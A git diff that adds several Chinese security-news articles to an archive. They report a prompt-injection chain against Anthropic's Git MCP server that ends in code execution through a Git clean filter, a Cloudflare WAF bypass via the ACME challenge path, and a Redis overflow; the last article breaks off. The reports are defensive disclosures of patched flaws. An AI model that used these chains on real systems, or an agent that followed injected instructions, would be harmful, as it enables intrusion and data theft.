diff --git a/data.json b/data.json
index d09b3b69..1a51c23d 100644
--- a/data.json
+++ b/data.json
@@ -16923,5 +16923,21 @@
"https://mp.weixin.qq.com/s/RxXDkelQg8xYN2fcfy0UDw": "[0day]某erp系统存在任意文件上传漏洞",
"https://mp.weixin.qq.com/s/zq_XzOyIH9YExeY_nUyhjA": "CNVD漏洞周报2026年第2期",
"https://mp.weixin.qq.com/s/HP-e-6eddmzEtr6U3EnaMA": "分享多个EDUSRC&企业SRC中、高危漏洞(已修复)",
- "https://mp.weixin.qq.com/s/ekoxDuejXY8oCm3uEynu1w": "0121.我如何将存储型 XSS 漏洞转化为账户接管:利用 WebSocket 驱动的应用程序"
+ "https://mp.weixin.qq.com/s/ekoxDuejXY8oCm3uEynu1w": "0121.我如何将存储型 XSS 漏洞转化为账户接管:利用 WebSocket 驱动的应用程序",
+ "https://mp.weixin.qq.com/s/PA5EhntsCyWfQT2kTE1yNA": "【已复现】多款 Linux telnetd服务中招,仅需一个参数即可远程获取 Root 权限,GNU Inetutils telnetd 远程认证绕过漏洞(CVE-2026-24061)",
+ "https://mp.weixin.qq.com/s/olUhcDJP3u5yK85_jZN02w": "百款AI应用集体“裸奔”:云端漏洞引发数据灾难",
+ "https://mp.weixin.qq.com/s/kS6rZDDpz0f6xl5aW1_3BA": "Cloudflare 零日漏洞:可绕过 WAF 访问全球任意后端主机",
+ "https://mp.weixin.qq.com/s/kkLsRsc_IrP8gkmfUe-BBg": "【已复现】GNU InetUtils telnetd 远程身份认证绕过漏洞(QVD-2026-4408)安全风险通告",
+ "https://mp.weixin.qq.com/s/cdWpY8JO9e1cYQ3r-RIVpg": "Redis 远程代码执行漏洞曝光:官方容器现“老式”栈溢出高危风险",
+ "https://mp.weixin.qq.com/s/t4F-x2ojV5-ZhTTH_UoHgQ": "记某edusrc的任意用户密码重置漏洞挖掘",
+ "https://mp.weixin.qq.com/s/ctgdyhvNmaIlnJIMeyWLdw": "东⽅通(TongWeb)应⽤服务器 EJB 反序列化远程代码执⾏漏洞",
+ "https://mp.weixin.qq.com/s/DDpmajusKV6Ul7kCDd7aSw": "WordPress插件AdvancedCustomFields:Extended曝高危漏洞",
+ "https://mp.weixin.qq.com/s/cLkmlGSUgnQHKX-S_grqCA": "【接口漏洞第八章第二节】挖掘GraphQL漏洞第一步:高效发现端口的三大实战技巧",
+ "https://mp.weixin.qq.com/s/6qGhmaD7lpwa1c9xJq66GA": "Cloudflare 0Day漏洞可绕过防护直接访问任意主机服务器",
+ "https://mp.weixin.qq.com/s/Do2tOGIiFqA3vpNX6jwG6A": "Windows SMB客户端漏洞可导致攻击者掌控Active Directory环境",
+ "https://mp.weixin.qq.com/s/TgnsahDlk47F73-kVEg0-w": "Anthropic MCP Git 服务器漏洞可用于访问文件和执行代码",
+ "https://mp.weixin.qq.com/s/P-zBho0S5gxUgX8CVjTVMw": "Cloudflare 修复可绕过 WAF 访问源服务器的 ACM 验证漏洞",
+ "https://mp.weixin.qq.com/s/dhbggM7euhNdc_AHz3sjww": "【安全圈】WordPress 插件漏洞导致 10 万余个网站面临权限提升攻击风险",
+ "https://mp.weixin.qq.com/s/4F2tY7AP-Qyi5Tak7lPVeg": "未来已来:漏洞挖掘智能体VulnAgent 发现两个Suricata 高危漏洞,并获官方致谢!",
+ "https://mp.weixin.qq.com/s/G5gYUhFb9FpBIsyA8-WWiA": "Anthropic官方Git MCP服务器曝链式漏洞,可致文件访问与代码执行"
}
\ No newline at end of file
diff --git a/doc/2026-01/Anthropic MCP Git 服务器漏洞可用于访问文件和执行代码.md b/doc/2026-01/Anthropic MCP Git 服务器漏洞可用于访问文件和执行代码.md
new file mode 100644
index 00000000..b55fcf0b
--- /dev/null
+++ b/doc/2026-01/Anthropic MCP Git 服务器漏洞可用于访问文件和执行代码.md
@@ -0,0 +1,127 @@
+# Anthropic MCP Git 服务器漏洞可用于访问文件和执行代码
+Ravie Lakshmanan
+ Ravie Lakshmanan 代码卫士 2026-01-21 10:15
+
+
+
+聚焦源代码安全,网罗国内外最新资讯!
+
+**编译:代码卫士**
+
+**由 Anthropic 维护的 Git 官方模型上下文协议 (MCP) 服务器中存在三个漏洞,可在一定条件下用于读取或删除任意文件并执行代码。**
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+生成式AI安全公司Cyata 的研究员 Yarden Porat 提到,“这些漏洞可通过提示注入遭利用,也就是说攻击者如能影响一款AI助手读取(恶意README、投毒的 issue 描述、受陷网页),无需直接访问受害者系统,就能利用这些漏洞。”
+
+Mcp-server-git 是一个 Python 包和一款 MCP 服务器,提供一系列内置工具,通过大语言模型以编程的方式来读取、搜索和操纵 Git 仓库。在2025年6月负责任地披露后,这些漏洞已在 2025.9.25和2025.12.18中修复,具体如下:
+
+- CVE-2025-68143:CVSS 评分8.8(v3)/6.5 (v4),是一个路径遍历漏洞,因 git_init 工具在仓库创建的过程中未经过验证即接受任意文件系统路径导致(已在 2025.9.25版本中修复)。
+
+- CVE-2025-68144:CVSS 评分8.1(v3)/6.4 (v4),是一个参数注入漏洞,因 git_diff和git_checkout 函数在未经清理的情况下,直接将受用户控制的参数传给 git CLI 命令导致(已在2025.12.18版本中修复)。
+
+- CVE-2025-68145:CVSS 评分7.1(v3)/6.3 (v4),是一个路径遍历漏洞,因在使用 –repository 标记将操作限制到一个特定的仓库路径时未验证路径而导致(已在2025.12.18版本中修复)。
+
+
+
+成功利用上述漏洞可导致攻击者将系统上的任意目录转换为 Git 仓库,以空差异覆写任意文件并访问服务器上的任意仓库。
+
+Cyata 公司观察到的一起攻击活动表明,这三个漏洞可与 Filysystem MCP 服务器组合利用,写入 “.git/config” 文件(一般位于隐藏的 .git 目录中)并通过提示注入的方式触发对 git_init 的调用,实现远程代码执行后果:
+
+- 使用 git_init 在可写目录中创建仓库。
+
+- 通过文件系统 MCP 服务器写入包含恶意 clean 过滤器的 .git/config 文件。
+
+- 创建 .gitattributes 文件使过滤器对特定文件生效。
+
+- 写入包含攻击载荷的 shell 脚本。
+
+- 创建触发过滤器的目标文件。
+
+- 调用 git_add 命令激活 clean 过滤器,从而执行攻击载荷。
+
+
+
+Git_init 工具已从该程序包中删除并增加了额外的验证机制,阻止路径遍历原语。建议该 Python 包用户升级至最新版本获得最优防护措施。Cyata 公司的首席执行官兼联合创始人 Shahar Tal 提到,“这是规范的 Git MCP 服务器,是开发人员会参照的标准模板。如果即使在参考实现中安全边界也会被突破,那么意味着需要对整个 MCP 生态系统进行更深入的审计。这并非极端案例或者特殊配置,它们开箱即用。”
+
+
+ 开源
+卫士试用地址:
+https://oss.qianxin.com/#/login
+
+
+ 代码卫士试用地址:https://sast.qianxin.com/#/login
+
+
+
+
+
+
+
+
+
+**推荐阅读**
+
+[MCP服务器平台严重漏洞可暴露3000+服务器和数千API密钥](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524251&idx=1&sn=0581723e878fb683f7b1df7fc9c7bda6&scene=21#wechat_redirect)
+
+
+[开源项目mcp-remote 中存在严重漏洞可导致RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523555&idx=2&sn=04a84283c9d2100a95736c652525dcd8&scene=21#wechat_redirect)
+
+
+[React Router严重漏洞可用于访问或修改服务器文件](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524857&idx=2&sn=8c1f832d3fbc13cae125177e8f0247af&scene=21#wechat_redirect)
+
+
+[n8n严重漏洞可导致任意代码执行](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524734&idx=1&sn=7accfa41ad8e25a3c0a292eb451552af&scene=21#wechat_redirect)
+
+
+
+
+
+**原文链接**
+
+https://thehackernews.com/2026/01/three-flaws-in-anthropic-mcp-git-server.html
+
+
+题图:Pixa
+bay Licens
+e
+
+
+**本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
+
+
+
+
+
+
+
+
+**奇安信代码卫士 (codesafe)**
+
+国内首个专注于软件开发安全的产品线。
+
+ 
+
+
+觉得不错,就点个 “
+在看
+” 或 "
+赞
+” 吧~
+
diff --git a/doc/2026-01/Anthropic官方Git MCP服务器曝链式漏洞,可致文件访问与代码执行.md b/doc/2026-01/Anthropic官方Git MCP服务器曝链式漏洞,可致文件访问与代码执行.md
new file mode 100644
index 00000000..e7ea3090
--- /dev/null
+++ b/doc/2026-01/Anthropic官方Git MCP服务器曝链式漏洞,可致文件访问与代码执行.md
@@ -0,0 +1,80 @@
+# Anthropic官方Git MCP服务器曝链式漏洞,可致文件访问与代码执行
+ FreeBuf 2026-01-21 10:31
+
+
+
+
+
+
+Anthropic PBC的官方Git Model Context Protocol(模型上下文协议)服务器存在多个安全漏洞,可能引发任意文件访问,某些情况下甚至能通过提示词注入(prompt injection)实现完整的远程代码执行。人工智能安全初创公司Cyata Security Ltd今日发布的最新研究报告披露了这一情况。这些漏洞影响mcp-server-git——Anthropic为Git开发的MCP参考实现,该组件旨在向开发者示范如何安全地将Git仓库暴露给基于大语言模型的AI Agent。
+
+
+**Part01**
+## 漏洞影响范围与攻击向量
+
+
+根据Cyata报告,2025年12月18日前发布的所有默认部署版本均受影响。攻击者只需能操控AI助手读取的内容(例如恶意README文件、被污染的议题描述或遭篡改的网页)即可利用这些漏洞。研究人员在服务器中发现三个独立漏洞:
+
+- 无限制的git_init功能:允许在任意文件系统路径初始化仓库
+
+- 路径验证绕过漏洞:可访问配置允许列表之外的仓库
+
+- git_diff工具的参数注入缺陷:将未净化的输入传递给Git命令行接口
+
+当这些漏洞被串联利用时,攻击者能够读取或删除任意文件,甚至覆盖主机系统上的文件。
+
+
+**Part02**
+## 参考实现中的安全隐患
+
+
+这些漏洞的特殊性在于,问题代码出现在Anthropic自家的参考实现中。"这是标准的Git MCP服务器,开发者理应效仿的样板,"Cyata联合创始人兼首席执行官Shahar Tal表示,"如果安全边界在参考实现中就已瓦解,说明整个MCP生态系统需要更严格的审查。这些并非边缘案例或特殊配置,而是开箱即用的漏洞。"
+
+
+**Part03**
+## 漏洞评级差异与风险场景
+
+
+不同评分系统对漏洞严重性的评估存在差异:GitHub安全公告根据通用漏洞评分系统4.0(CVSS 4.0)评定为中等严重程度,而GitLab咨询数据库则依据CVSS 3.1将其列为高危。Cyata解释称,这种差异源于GitHub采用的CVSS 4.0采用了更精细的评分方法。漏洞风险程度还取决于Git MCP服务器的使用场景,当与Filesystem MCP服务器共同使用时,风险会显著增加。
+
+
+**Part04**
+## 远程代码执行实现机制
+
+
+在此类混合部署场景中,攻击者可滥用Git的smudge和clean过滤器,通过仓库配置文件中定义的shell命令实现远程代码执行。由于MCP服务器执行大语言模型(LLM)的决策,而LLM又可能通过提示词注入被操控,这意味着整个攻击链无需凭证、shell访问或与目标系统的直接交互即可触发。"这项研究表明,当LLM被置于决策循环中时,关于信任边界的传统假设就会崩塌,"Cyata联合创始人兼首席技术官Baruch Weizman指出,"单独看起来安全的工具,在攻击者控制模型输入时会变得危险。"
+
+
+**Part05**
+## 修复时间线与安全建议
+
+
+Cyata已于去年6月向Anthropic报告这些漏洞,相关修复于12月17日发布,其中包括从Git MCP服务器中彻底移除git_init工具。安全团队建议尚未更新mcp-server-git的组织立即采取行动:将所有MCP工具参数视为不可信输入,限制AI Agent可调用的MCP服务器和工具范围,并从整体而非单个工具角度评估Agent权限。
+
+
+**参考来源:**
+
+Anthropic’s official Git MCP server hit by chained flaws that enable file access and code execution
+
+https://siliconangle.com/2026/01/20/anthropics-official-git-mcp-server-hit-chained-flaws-enable-file-access-code-execution/
+
+
+###
+###
+###
+
+**推荐阅读**
+
+[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651334067&idx=1&sn=817c2149a41e006fedbb453ec71f40ec&scene=21#wechat_redirect)
+
+### 电台讨论
+###
+
+****
+
+
+****
+
+
+
+
diff --git a/doc/2026-01/Cloudflare 0Day漏洞可绕过防护直接访问任意主机服务器.md b/doc/2026-01/Cloudflare 0Day漏洞可绕过防护直接访问任意主机服务器.md
new file mode 100644
index 00000000..85b10e24
--- /dev/null
+++ b/doc/2026-01/Cloudflare 0Day漏洞可绕过防护直接访问任意主机服务器.md
@@ -0,0 +1,81 @@
+# Cloudflare 0Day漏洞可绕过防护直接访问任意主机服务器
+ FreeBuf 2026-01-21 10:31
+
+
+
+
+
+
+Cloudflare Web应用防火墙(WAF)存在一个高危0Day漏洞,攻击者可借此绕过安全控制措施,通过证书验证路径直接访问受保护的主机服务器。
+
+
+FearsOff安全研究人员发现,针对_/.well-known/acme-challenge/目录的请求能够直达主机服务器,即使客户配置的WAF规则已明确拦截所有其他流量。自动证书管理环境(ACME)协议通过要求证书颁发机构(CA)验证域名所有权来自动完成SSL/TLS证书验证。在HTTP-01验证方法中,CA要求网站在/.well-known/acme-challenge/{token}_路径提供一次性令牌。该路径几乎存在于所有现代网站中,作为自动化证书颁发的静默维护通道。设计初衷是将此访问权限限制在单个验证机器人检查特定文件,而非作为通往主机服务器的开放网关。
+
+
+**Part01**
+## Cloudflare 0Day漏洞分析
+
+
+FearsOff研究人员在审查WAF配置拦截全局访问、仅允许特定来源的应用时发现了该漏洞。测试表明,针对ACME挑战路径的请求会完全绕过WAF规则,使主机服务器直接响应而非返回Cloudflare拦截页面。
+
+
+为确认这不是租户特有的配置错误,研究人员在cf-php.fearsoff.org、cf-spring.fearsoff.org和cf-nextjs.fearsoff.org创建了受控演示主机。对这些主机的正常请求如预期般遭遇拦截页面,但ACME路径请求却返回了主机生成的响应(通常是框架404错误)。
+
+
+
+
+
+该漏洞源于Cloudflare边缘网络对ACME HTTP-01挑战路径的处理逻辑。当Cloudflare为其托管的证书订单提供挑战令牌时,系统会禁用WAF功能以防止干扰CA验证。但存在一个关键缺陷:如果请求的令牌与Cloudflare托管的证书订单不匹配,请求会完全绕过WAF评估直接转发至客户主机。这一逻辑错误将原本有限的证书验证例外变成了影响所有Cloudflare防护主机的广泛安全绕过。
+
+
+**Part02**
+## 攻击向量与影响范围
+
+
+研究人员利用该绕过漏洞展示了针对常见Web框架的多种攻击方式:
+
+- 在Spring/Tomcat应用中,通过_..;/_进行servlet路径遍历可访问暴露进程环境、数据库凭证、API令牌和云密钥的敏感执行器端点
+
+- Next.js服务端渲染应用通过直接主机响应泄露运营数据(这些数据本不应公开访问)
+
+- 存在本地文件包含漏洞的PHP应用可被利用,攻击者通过恶意路径参数访问文件系统
+
+除框架特定攻击外,基于自定义标头拦截请求的账户级WAF规则对ACME路径流量完全失效。
+
+
+**Part03**
+## 漏洞修复时间线
+
+
+FearsOff于2025年10月9日通过Cloudflare的HackerOne漏洞赏金计划报告该漏洞。Cloudflare于10月13日启动验证,HackerOne于10月14日完成问题分类。该公司于10月27日部署永久修复方案,修改代码使其仅在请求匹配特定主机名的有效ACME HTTP-01挑战令牌时禁用安全功能。
+
+
+修复后测试证实WAF规则现已统一适用于所有路径(包括先前存在漏洞的ACME挑战路由)。Cloudflare表示客户无需采取任何措施,并确认未发现恶意利用证据。
+
+
+**参考来源:**
+
+Cloudflare Zero-Day Vulnerability Enables Any Host Access Bypassing Protections
+
+https://cybersecuritynews.com/cloudflare-zero-day-vulnerability/
+
+
+###
+###
+###
+
+**推荐阅读**
+
+[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651334067&idx=1&sn=817c2149a41e006fedbb453ec71f40ec&scene=21#wechat_redirect)
+
+### 电台讨论
+###
+
+****
+
+
+****
+
+
+
+
diff --git a/doc/2026-01/Cloudflare 修复可绕过 WAF 访问源服务器的 ACM 验证漏洞.md b/doc/2026-01/Cloudflare 修复可绕过 WAF 访问源服务器的 ACM 验证漏洞.md
new file mode 100644
index 00000000..e713a308
--- /dev/null
+++ b/doc/2026-01/Cloudflare 修复可绕过 WAF 访问源服务器的 ACM 验证漏洞.md
@@ -0,0 +1,111 @@
+# Cloudflare 修复可绕过 WAF 访问源服务器的 ACM 验证漏洞
+Ravie Lakshmanan
+ Ravie Lakshmanan 代码卫士 2026-01-21 10:15
+
+
+
+聚焦源代码安全,网罗国内外最新资讯!
+
+**编译:代码卫士**
+
+**Cloudflare修复了一个影响其自动证书管理环境(ACME)验证逻辑的安全漏洞。该漏洞可能被用于绕过安全控制并访问源服务器。**
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+网络基础设施公司Cloudflare的安全研究员表示:“该漏洞源于我们的边缘网络如何处理指向ACME HTTP-01验证路径(/.well-known/acme-challenge/*)的请求。”该公司表示,目前尚未发现该漏洞遭在野利用的证据。
+
+ACME是一种通信协议(RFC 8555),用于自动化签发、更新和吊销SSL/TLS证书。证书颁发机构向网站颁发的每张证书都需要通过验证挑战来确认域名所有权。这一过程通常通过Certbot等ACME客户端完成,客户端通过HTTP-01(或DNS-01)挑战验证域名所有权并管理证书生命周期。HTTP-01挑战会检查位于“https://<域名>/.well-known/acme-challenge/<令牌>”路径的验证令牌和密钥指纹,通过HTTP 80端口访问。
+
+该证书颁发机构的服务器会向该URL发起HTTP GET请求以获取文件。验证成功后即签发证书,同时证书颁发机构会将该ACME账户(即在其服务器注册的实体)标记为已授权管理该特定域名。
+
+当该挑战用于Cloudflare管理的证书订单时,Cloudflare会在前述路径响应请求,并向调用方提供CA给出的令牌。但如果该请求与Cloudflare管理的订单无关,则请求会被路由至客户源服务器,而客户源服务器可能使用不同的域名验证系统。
+
+该漏洞由FearsOff在2025年10月发现并报告,问题根源在于ACME验证过程的缺陷实现——导致某些向该URL发起的验证请求会禁用Web应用程序防火墙(WAF)规则,使本应被拦截的请求得以到达源服务器。
+
+换言之,该逻辑未能验证请求中的令牌是否实际匹配该特定主机名的有效挑战,这使得攻击者能够向ACME路径发送任意请求,完全绕过WAF防护,从而获得访问源服务器的能力。
+
+Cloudflare解释称:“此前,当Cloudflare提供HTTP-01挑战令牌时,如果调用方请求的路径匹配我们系统中有效挑战的令牌,提供ACME挑战令牌的逻辑就会禁用WAF功能,因为此时Cloudflare会直接提供响应。”
+
+“这样设计是因为这些功能可能干扰CA验证令牌值的能力,导致自动化证书订单和续期失败。然而,当所用令牌关联其他区域且非由Cloudflare直接管理时,请求将被允许继续传送至客户源服务器,且不再经过WAF规则集的进一步处理。”
+
+FearsOff公司的创始人兼首席执行官Kirill Firsov指出,恶意攻击者可利用此漏洞获取确定性、长期有效的令牌,访问所有Cloudflare主机上源服务器的敏感文件,从而为侦察活动打开通道。
+
+Cloudflare已于2025年10月27日通过代码更新修复该漏洞。新机制仅在请求匹配该主机名的有效ACME HTTP-01挑战令牌时,才提供响应并禁用WAF功能。
+
+
+ 开源
+卫士试用地址:
+https://oss.qianxin.com/#/login
+
+
+ 代码卫士试用地址:https://sast.qianxin.com/#/login
+
+
+
+
+
+
+
+
+
+**推荐阅读**
+
+[ChatGPT 代理绕过Cloudflare 的“我不是机器人”验证检查](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523692&idx=2&sn=8738f5e2363ac654e83b957ae66aeb26&scene=21#wechat_redirect)
+
+
+[攻击者利用Okta被盗令牌黑入Cloudflare](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247518810&idx=1&sn=2acf3ce3594a9dff2165e0edf5b4f317&scene=21#wechat_redirect)
+
+
+[Okta 支持系统遭攻陷,已有Cloudflare、1Password等三家客户受影响](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247517967&idx=1&sn=a0c2ff2dfd52aa69d170f3e95247f143&scene=21#wechat_redirect)
+
+
+
+
+
+**原文链接**
+
+https://thehackernews.com/2026/01/cloudflare-fixes-acme-validation-bug.html
+
+
+题图:Pixa
+bay Licens
+e
+
+
+**本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。**
+
+
+
+
+
+
+
+
+**奇安信代码卫士 (codesafe)**
+
+国内首个专注于软件开发安全的产品线。
+
+ 
+
+
+觉得不错,就点个 “
+在看
+” 或 "
+赞
+” 吧~
+
diff --git a/doc/2026-01/Cloudflare 零日漏洞:可绕过 WAF 访问全球任意后端主机.md b/doc/2026-01/Cloudflare 零日漏洞:可绕过 WAF 访问全球任意后端主机.md
new file mode 100644
index 00000000..53023e42
--- /dev/null
+++ b/doc/2026-01/Cloudflare 零日漏洞:可绕过 WAF 访问全球任意后端主机.md
@@ -0,0 +1,166 @@
+# Cloudflare 零日漏洞:可绕过 WAF 访问全球任意后端主机
+喜欢挖洞吗
+ 喜欢挖洞吗 喜欢挖洞吗 2026-01-21 10:44
+
+# Cloudflare 零日漏洞:可绕过 WAF 访问全球任意后端主机
+
+——当 .well-known 路径悄然绕过了防火墙
+
+在几乎每个现代网站上,都存在一个专为机器而非人类设计的 URL:/.well-known/acme-challenge/
+。它只在证书签发过程中短暂启用几秒钟,供自动化机器人验证你是否真正拥有该域名。这个过程本应悄无声息、例行公事。但这一次,这条“安静的小径”却突然变得喧闹起来!
+
+本文将讲述一个关键发现:**即使客户配置了严格的 Web 应用防火墙(WAF)规则来阻止所有外部流量,攻击者仍可通过 ACME 挑战路径直接触达被 Cloudflare 保护的源站服务器**
+。我们将解释这一问题为何重要、如何在不造成破坏的前提下验证其存在,并说明该漏洞现已修复。内容兼顾安全研究员所需的技术细节,也照顾安全决策者对核心风险的理解。
+# 60 秒了解 ACME 协议
+
+ACME(Automated Certificate Management Environment)是证书颁发机构(CA)用来验证域名控制权的标准协议。其中最常用的是 **HTTP-01 验证方式**
+:你需要在 /.well-known/acme-challenge/{token}
+ 路径下提供一个一次性令牌文件。CA 会像普通客户端一样通过 HTTPS 请求该 URL,若返回内容匹配,则签发证书。
+
+设计初衷非常明确:**仅允许机器人读取一个特定路径下的小文件,其他任何操作都不应被允许**
+。这就像一条仅供持 clipboard 的机器人通行的走廊,绝不该成为人群混入的后门。
+# 异常观察:不符合预期的行为
+
+我们在审查一组应用的安全策略时注意到一个反常现象:这些应用的 WAF 被配置为“默认拒绝所有流量,仅放行特定来源”。在绝大多数路径上,WAF 表现正常——返回 Cloudflare 的拦截页面。**但当我们向 /.well-known/acme-challenge/{任意token} 发起请求时,WAF 竟然“让路”了,源站直接返回了响应(通常是框架生成的 404 页面)**
+。
+
+这种“说话者”的变化——从 Cloudflare 变成源站应用——就是关键信号。
+
+为排除这是某个租户的特殊配置错误,我们搭建了三个受控的演示站点(均默认屏蔽公网访问):
+- • https://cf-php.fearsoff.org/
+
+- • https://cf-spring.fearsoff.org/
+
+- • https://cf-nextjs.fearsoff.org/
+
+在普通路径下,你会看到 Cloudflare 的拦截页;但只要请求指向 ACME 路径(即使 token 是伪造的),就会收到源站返回的 404——页面风格明显属于各自的应用框架(PHP、Spring、Next.js),而非 Cloudflare。
+> **技巧**
+:我们在 token 后附加无害后缀(如 /ae
+),证明**无需真实 ACME 文件**
+,仅路径结构就足以触发此行为。
+
+# 如何获得一个“稳定”的挑战 Token?
+
+为了可重复测试,我们需要一个长期有效的 token。我们利用 Cloudflare 的 **SSL/TLS 自定义主机名(Custom Hostnames)**
+ 功能:
+1. 1. 添加一个新主机名:cf-well-known.fearsoff.org
+
+1. 2. 选择 **HTTP 验证方式**
+
+1. 3. **故意不配置 DNS 记录**
+,使证书验证一直处于“Pending”状态
+
+此时,Cloudflare 会显示类似如下的验证 URL:
+
+text
+```
+http://cf-well-known.fearsoff.org/.well-known/acme-challenge/yMnWOcR2yv0yW-...Jm5QksreNRDUmqKfKPTk
+```
+
+由于我们未完成验证,该 token 永远不会失效,成为理想的测试锚点。
+# 为什么这个问题很严重?
+
+WAF 本应是唯一的入口守门人。一旦某条维护路径能绕过它,**信任边界就发生了偏移**
+——原本受保护的内部系统,突然对公网开放了一个“合法”入口。
+### 实际影响示例:
+#### 🔹 Spring / Tomcat
+
+许多 Spring Boot 应用暴露 /actuator
+ 端点(如 /actuator/env
+),通常位于内网或受 WAF 保护。 但通过 ACME 路径 + Servlet 路径遍历技巧(如 ..;/
+),我们成功访问到环境变量,**泄露数据库连接串、API 密钥等敏感信息**
+。
+#### 🔹 Next.js
+
+服务端渲染(SSR)框架常在 HTML 中嵌入服务器变量用于前端“注水”(hydration)。这些信息本不应公开。 但当源站直接响应时,**运维元数据(如构建时间、内部路径)意外暴露**
+。
+#### 🔹 PHP 路由
+
+大量 PHP 应用通过 index.php
+ 统一路由,若存在本地文件包含(LFI)漏洞,攻击者可读取 /etc/hosts
+ 等系统文件。**即使只是 404 页面,也可能因路由机制触发敏感逻辑**
+。
+> 这些不是漏洞根源,而是**WAF 绕过带来的连锁反应**
+——一旦后端可被直接访问,任何微小缺陷都可能被放大。
+
+# 不只是 404:账户级 WAF 规则也被绕过!
+
+我们进一步测试:配置一条账户级 WAF 规则,**拦截携带 X-middleware-subrequest 头的请求**
+。
+- • 在根路径 /
+:请求被正确拦截 ✅
+
+- • 在 ACME 路径:**相同请求竟被放行,由应用处理**
+ ❌
+
+这意味着:**所有依赖 WAF 过滤恶意 Header 的防护全部失效**
+! 潜在风险包括:
+- • 老旧代码中基于 Header 的 SQL 拼接(SQLi)
+
+- • 利用 X-Forwarded-Host
+ 或 X-Original-URL
+ 的 SSRF/Host 头攻击
+
+- • 基于 Header 的缓存投毒
+
+- • 通过 X-HTTP-Method-Override
+ 的方法篡改
+
+- • 由自定义 Header 触发的调试模式
+
+**问题核心在于:多少应用仍在盲目信任 Header?又有多少依赖 WAF 作为最后一道防线?**
+# 根本原因与修复
+
+我们的推测是:Cloudflare 内部对 /.well-known/acme-challenge/
+ 路径做了**特殊处理**
+——为确保证书验证顺利进行,该路径的请求被提前放行,**跳过了客户自定义的 WAF 规则**
+。
+
+好消息是:**Cloudflare 已于 2025 年 10 月 27 日部署修复补丁**
+。 我们重新测试确认:现在 WAF 规则已**统一应用于所有路径**
+,包括 ACME 挑战路径。那条“危险的小径”终于恢复平静。
+# AI 时代的新威胁面
+
+此类 WAF 绕过漏洞在 AI 驱动的攻击浪潮下尤为危险。**AI 自动化工具可大规模扫描 /.well-known/acme-challenge/ 路径**
+,结合框架指纹(如识别 Spring、Next.js、PHP)自动尝试针对性载荷(路径遍历、LFI、Header 注入等),将单一维护接口转化为广泛攻击面。
+
+反之,AI 也可用于防御。例如,Crypto.com 安全团队就利用 AI 分析能力快速复现并验证了该漏洞,加速了修复进程。**当源站可被直接访问,AI 攻防的竞赛将更加激烈——可靠的 WAF 控制从未如此重要**
+。
+# 时间线
+- • **2025 年 10 月 9 日**
+:通过 HackerOne 提交漏洞
+
+- • **10 月 13 日**
+:厂商开始验证
+
+- • **10 月 14 日**
+:HackerOne 完成分类
+
+- • **10 月 27 日**
+:官方修复上线,我们验证确认修复成功
+
+# 致谢
+
+特别感谢 **Crypto.com CISO Jason Lau 及其安全团队**
+。我们首先联系他们协助独立验证此零日漏洞。他们凭借深厚的技术实力、先进的 AI 安全能力建设,以及高效响应,与 Cloudflare CEO Matthew Prince 团队紧密协作,极大加速了补丁开发与测试。 正因多方合力,全球无数组织今日得以免受此风险威胁。
+# 结语
+
+最危险的漏洞,往往始于最平凡的细节。**证书机器人的专用通道,绝不该变成攻击者的后门**
+。 我们赞赏 Cloudflare 从发现到修复的迅速响应,以及全程透明的合作态度。
+
+你可以在 Cloudflare 官方博客 阅读更多细节。 文章翻译至:https://fearsoff.org/research/cloudflare-acme
+# 免责声明
+1. 1. 本公众号发布的网络安全工具、POC 脚本、技术文章等内容,仅面向具备合法授权的网络安全从业人员、技术爱好者用于**合法合规的渗透测试、安全研究、漏洞验证**
+及技术学习交流,严禁用于任何未经授权的非法攻击、入侵他人网络或信息系统的行为。
+
+1. 2. 任何单位或个人在使用本公众号内容前,必须确保已获得目标系统的合法授权,并严格遵守《网络安全法》《数据安全法》《个人信息保护法》等国家相关法律法规及行业规范,独立承担因违规使用所产生的全部法律责任、经济损失及一切后果,与本公众号及作者无关。
+
+1. 3. 本公众号发布的内容仅为技术研究与分享,不构成任何攻击指导、非法用途的暗示或诱导。所有工具及 POC 的安全性、稳定性未经全面验证,仅供学习参考,使用者需自行评估风险并承担使用后果,本公众号及作者不承担任何因工具使用不当、漏洞利用失误导致的直接或间接损失。
+
+1. 4. 本公众号尊重并保护各类知识产权,发布的内容若涉及第三方技术、工具或资料,均已注明来源或基于合法授权。若存在侵权行为,请及时联系作者删除,任何未经授权的转载、篡改、传播本公众号内容的行为,需自行承担相应法律责任。
+
+1. 5. 凡浏览、关注本公众号或使用本公众号内容者,即视为已充分理解并同意本免责声明全部条款。若您不同意本声明,请勿使用本公众号任何内容。
+
+
+
+
diff --git a/doc/2026-01/Redis 远程代码执行漏洞曝光:官方容器现“老式”栈溢出高危风险.md b/doc/2026-01/Redis 远程代码执行漏洞曝光:官方容器现“老式”栈溢出高危风险.md
new file mode 100644
index 00000000..66b70608
--- /dev/null
+++ b/doc/2026-01/Redis 远程代码执行漏洞曝光:官方容器现“老式”栈溢出高危风险.md
@@ -0,0 +1,54 @@
+# Redis 远程代码执行漏洞曝光:官方容器现“老式”栈溢出高危风险
+看雪学苑
+ 看雪学苑 看雪学苑 2026-01-21 09:59
+
+近日,JFrog安全研究团队公开披露了Redis数据库中一个高危漏洞的完整利用链,证实“老式”栈缓冲区溢出攻击在2026年仍具极大危害性。
+该漏洞编号为CVE-2025-62507,CVSS评分高达8.8,影响Redis 8.2.0至8.2.2版本,可被攻击者用于实现远程代码执行(RCE)。
+
+
+
+
+
+漏洞根源在于Redis 8.2版本新增的XACKDEL命令。
